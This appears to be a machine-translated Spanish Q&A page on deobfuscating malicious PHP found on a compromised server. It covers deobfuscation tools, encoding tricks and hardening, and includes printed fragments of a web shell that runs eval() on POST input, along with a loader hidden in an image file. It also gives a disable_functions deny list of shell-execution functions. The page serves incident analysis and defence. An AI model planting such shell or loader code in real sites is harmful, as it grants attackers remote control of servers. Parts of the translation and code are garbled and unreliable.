Saltar al contenido

Encontré código PHP desconocido en mi servidor. ¿Cómo elimino el código?

Solución:

Afortunadamente, casi todos los scripts PHP se pueden desofuscar con 4 métodos simples. Usaremos estos cuatro métodos para crear una respuesta canónica.

Antes de comenzar, recopilemos una lista de herramientas comunes que ayudan a desofuscar estos archivos maliciosos para que podamos hacer el trabajo nosotros mismos.


Herramientas comunes que ayudan en la desofuscación.

  1. UnPHP. Esto ayuda en gran medida a eliminar la ofuscación de los scripts que tienen una ofuscación anidada en exceso de 100 funciones anidadas. En muchos casos, este sitio web, y otros similares, debería ser el primero que visite. Sin embargo, en algunos casos, UnPHP no puede desofuscar la carga útil inicial. En esos casos, serán suficientes otras herramientas que enumeraremos.
  2. Embellecedor PHP. Esta es una excelente herramienta para dividir archivos de una sola línea que, de otro modo, serían muy difíciles de leer.
  3. Decodificadores Base64. Estoy enlazando a la búsqueda de Google para este. Algunos de estos sitios web de Base64 parecen un poco turbios, por lo que si prefiere usar una versión sin conexión sin visitar esos sitios web, preparé una herramienta rápida para Windows (obtenga Base64Decode.exe). El código fuente también está disponible.
  4. Sandbox de PHP. También puede buscar otros entornos sandbox en Google. Usaremos esto para correr echo comandos cuando sea necesario.

Funciones PHP comúnmente explotadas

La gran mayoría de los hacks utilizan algún tipo de eval, o preg_place, o ambos:

  1. eval(). Esta pueden ser una función maligna, ya que permite la ejecución arbitraria de código PHP. El solo hecho de encontrar esta función en uso en su sitio web podría ser una indicación de que ha sido pirateado.
  2. preg_replace(). Usado frecuentemente con eval() para permitir la ejecución de código arbitrario. Hay muchos buenos usos para preg_replace(), pero si no sabe cómo llegó allí, y especialmente si aparece junto con un código ofuscado, es una clara indicación de que ha sido pirateado.
  3. Información adicional. Para evitar que esta respuesta sea demasiado grande, voy a vincular a esta pregunta sobre las funciones PHP comúnmente explotadas.
  4. Además, consulte la Hoja de referencia de PHP de OWASP.

Tiempo base64_decode se utiliza en casi todos los trucos con los que nos hemos encontrado, principalmente sirve como una capa de ofuscación.


Formatos comunes de ocultación

Hay varias formas diferentes en que los piratas informáticos ocultan su código. Enumeremos algunas de las técnicas comunes para que sepamos cómo detectarlas y luego decodificarlas:

  1. Codificación hexadecimal. Estarás buscando el MALEFICIO número en esa lista de la mesa. En PHP, estos se pueden representar con una barra invertida x, seguida de un número o letra. Ejemplos:

    • x48 = H
    • x34 = 4
    • x78 = x

    Sin embargo, no están necesariamente representados solamente por x. Ellos pueden ser # así como.

  2. Cadenas Unicode. Casi lo mismo que el anterior, pero u# en lugar de x#. Ejemplos:

    • u004D = M
    • u0065 = e
    • u0020 = (espacio)
    • u0070 = p
    • u006c = l
    • u0073 = s
  3. Codificación Base64. Base64 es un poco diferente a los métodos de ofuscación antes mencionados, pero aún es relativamente fácil de decodificar. Cadenas de ejemplo:

    • SSBsaWtlIGRvbnV0cw== = Me gustan las rosquillas
    • ZXZhbChiYXNlNjRfZGVjb2RlKCJoYXgiKSk7 = eval(base64_decode("hax"));
    • QXNzdW1pbmcgZGlyZWN0IGNvbnRyb2w= = Asumiendo el control directo
  4. Basura almacenada en un string, dividido por bucles for, expresiones regulares, etc.. Tendrá que decodificarlo usted mismo, ya que varían considerablemente. Afortunadamente, muchos de los métodos antes mencionados deberían ayudarlo a desofuscar este momento.


¿Cómo puedo desofuscar archivos PHP por mí mismo?

Porque no podemos ayudar (podemos, I puede, pero ellos ¡no me dejará! : P) con cada fragmento de malware PHP que existe, sería mejor enseñar usted cómo hacerlo.

Aprender a hacer esto usted mismo lo ayudará a aprender más sobre PHP y más sobre lo que está sucediendo. Pongamos en práctica nuestras herramientas y usemos dos ejemplos anteriores de desofuscación de PHP en este sitio web.


Ejemplo de desofuscación n. ° 1

Consulte esta pregunta. Copie y pegue el código en UnPHP:


Y verás que no nos desofusca. Gorrón. Tendremos que hacer un trabajo extra. Tenga en cuenta las cadenas, junto con sus concatenaciones. ¡Argh! ¡Es tan feo y confuso! ¿Qué vamos a hacer con estas cadenas? Aquí es donde entra en juego el sandbox de PHP.

"; 
    echo "373x49145xa9372xc0x72331307320175237xb412351x6cx69x6dx72302xe1117x67x8644xc7217x64260x31x78x99x9c200x4"^"2734013312x96265x16xbcx98xbfx13374xd1x7bx4b1532x8104xf6xbe532345113xa3352114x92155111xbbxb525177" . "
"; echo "20665x30x2f160x277x56x25x9axfx6xec317xebx10x86x0244364255x57x53xf3x8dxb913x5c2272xc5x97215347372x83x74367x28x2exd1x36x72177223x3cxb2x1ax96271127x3b337xcf277317xb74214271xb223571xa6x3d20532512733670xd6x7c"^"3127x58131x12x5515214615125076166210207x9bx22xdf127xccx9exe1144x11302324324x73x2c133213374xf8xe9240313xf0x38305x6ex54xb24x24x4f360105213152xf4xee64x4d275x88206xa1325x35265xc3xd0xca177xd5x5fxc6xe040274x55xb5x41" . "
"; ?>

Ahora que hemos hecho eco del contenido, podemos reconstruirlo para obtener los siguientes resultados:


Nota la string, L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc? ¡Eso se parece mucho a la codificación Base64 de la que hablamos antes! Intentemos decodificarlo y ver si estamos en lo cierto:

/home4/mitzvahc/public_html/assets/img/logo_small.png

Después de abrir el archivo logo_small.png en algún tipo de editor de texto, encontramos algo como esto:

eval(gzuncompress(base64_decode("evil_payload")));

¡¡¡Oh no!!!

¡¡¡OH NO!!!

Si ejecuta el contenido del archivo a través de UnPHP, debería obtener los resultados decodificados.


Ejemplo de desofuscación n. ° 2

Consulte esta pregunta:

¿Recuerdas antes cuando mencionamos la codificación ASCII? Eche un vistazo al código:

[email protected]
$_POST["px31"])$ugtfpiyrum="a";$$"x47x4cx4fBx41LS"["x76rx76wx65x79x70zx6eipu"]=array("x75nx61mx65"=>php_uname(),"px68x70x5fverx73x69ox6e"=>phpversion(),"x77sx6f_vx65x72six6fx6e"=>WSO_VERSION,"safx65mx6fx64e"=>@ini_get("x73x61x66x65x5fmx6fdx65"));echo serialize($$ugtfpiyrum);elseeval($_POST["x70x31"]);if(empty($_POST["x61"]))$"x47Lx4fBx41LS"["x69sx76x65x78x79"]="x64x65x66x61x75x6ctx5fx61cx74ix6fx6e";$"x47x4cx4fx42x41x4cx53"["x75x6fx65cx68x79x6dx7adx64x64"]="x64x65x66ax75x6cx74_x61x63x74x69x6fn";if(isset($$"x47Lx4fx42x41LS"["x69x77irx6dx78lqtvx79x70"])&&function_exists("x61ctx69x6fx6e".$$"x47Lx4fx42x41x4cS"["x75ox65chx79x6dx7ax64x64x64"]))$_POST["a"]=$$"x47x4cx4fx42ALS"["ix73x76ex78x79"];else$_POST["a"]="x53ex63x49x6ex66o";if(!empty($_POST["x61"])&&function_exists("actiox6e".$_POST["x61"]))call_user_func("x61x63x74x69x6fx6e".$_POST["a"]);exit; ?>

Copiemos y peguemos esto en UnPHP. Una vez que se obtienen los resultados, finalmente podemos ver lo que está haciendo, pero parece todo hecho añicos. Peguémoslo en PHP Beautifier. ¡Ahora es mucho más fácil de leer!


Desofuscar nombres de variables

Si no puede desofuscar nombres de variables a través de ninguno de los métodos mencionados anteriormente, desofuscar esos nombres de variables puede ser un proceso manual que requiere mucho tiempo. Afortunadamente, al buscar patrones de malware comunes, como cerrar los archivos de registro, usar eval() o preg_replace() con ofuscación indica que algo anda mal.

La ofuscación es la enfoque incorrecto, por lo que si encuentra código ofuscado en su sitio web, debe asumir que ha sido pirateado. Debería no ofuscar su código. La seguridad a expensas de la usabilidad no es seguridad.


Riesgos de desofuscación

Intentar decodificar estos archivos en su propio servidor web no es seguro por muchas razones, algunas de las cuales pueden ser desconocidas para nosotros. No intente desofuscar archivos PHP en su propio servidor web. Sin darse cuenta, podría introducir puertas traseras adicionales o ayudar al malware a propagarse porque muchos de los scripts cargan funciones de forma remota.


Eso está bien, pero ¿cómo me piratearon?

Esto es realmente demasiado amplio para responder sin que tengamos acceso a todo en su servidor web, incluidos los registros.

Puede tener un endurecimiento incorrecto en su Sistema de gestión de contenidos (CMS), o puede haber una vulnerabilidad en algún lugar de su pila web. Puede consultar estos enlaces si forman parte de su CMS:

  1. Lista de verificación de seguridad de Joomla
  2. Endurecimiento de WordPress
  3. Lista de verificación de seguridad de Drupal

Si su CMS no aparece en la lista, busque listas de verificación de seguridad / refuerzo para la instalación de su CMS. Si usted es no usando un CMS, sino su propio código, entonces depende de usted arreglar sus agujeros de seguridad. La hoja de referencia de OWASP sirve como un buen punto de partida para encontrar y corregir vulnerabilidades comunes. Recuerda, solo usted puede evitar el acceso a la cáscara.

Puede haber varias razones por las que esto está sucediendo … pero la conclusión es: o su alojamiento web ha sido pirateado o tiene un exploit en su sitio web que permite a personas malintencionadas insertar código adicional y darles un control total sobre su sitio web … mientras tanto, son atacando a tus visitantes.


¡¿Entonces qué hago?!

Debería leer estas preguntas y respuestas: ¿Cómo trato con un servidor comprometido?

La excelente respuesta de Mark trata del caso en el que la ofuscación es relativamente sencilla. Esto aborda el 99% de los casos, pero de vez en cuando puede encontrarse con algo un poco más malicioso, por ejemplo, utilizando también el cifrado del código fuente. Ejecutar el código (o al menos parte de él) puede ser una forma mucho más rápida de averiguar qué está haciendo el código que realizar ingeniería inversa de la fuente a mano, pero puede ser ¡extremadamente peligroso! Hay algunas cosas que puede hacer para contener / limitar el daño.

Utilice siempre una máquina virtual
Vea también esta pregunta.

Deshabilitar funciones
PHP.ini tiene una opción disable_functions que le permite bloquear de forma selectiva el acceso a determinadas funciones. Mark ya ha mencionado eval y preg_replace () (este último se elimina en PHP 7) pero las funciones de ejecución del proceso también proporcionan un punto de apalancamiento útil:

  disable_functions=eval,preg_replace,exec,passthru,shell_exec
    ,system,proc_open,popen,imap_open,pcntl_exec,pcntl_fork

Usa la extensión Runkit Esto le permite redefinir funciones, incluidas las integradas de PHP. Tenga en cuenta que la zona de pruebas de runkit no está destinada a proporcionar mucho aislamiento; le permite interactuar mediante programación con el código PHP que se ejecuta en un subproceso / entorno diferente.

Comentarios y puntuaciones

Tienes la opción de sustentar nuestro ensayo ejecutando un comentario o dejando una puntuación te damos las gracias.

¡Haz clic para puntuar esta entrada!
(Votos: 0 Promedio: 0)



Utiliza Nuestro Buscador

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *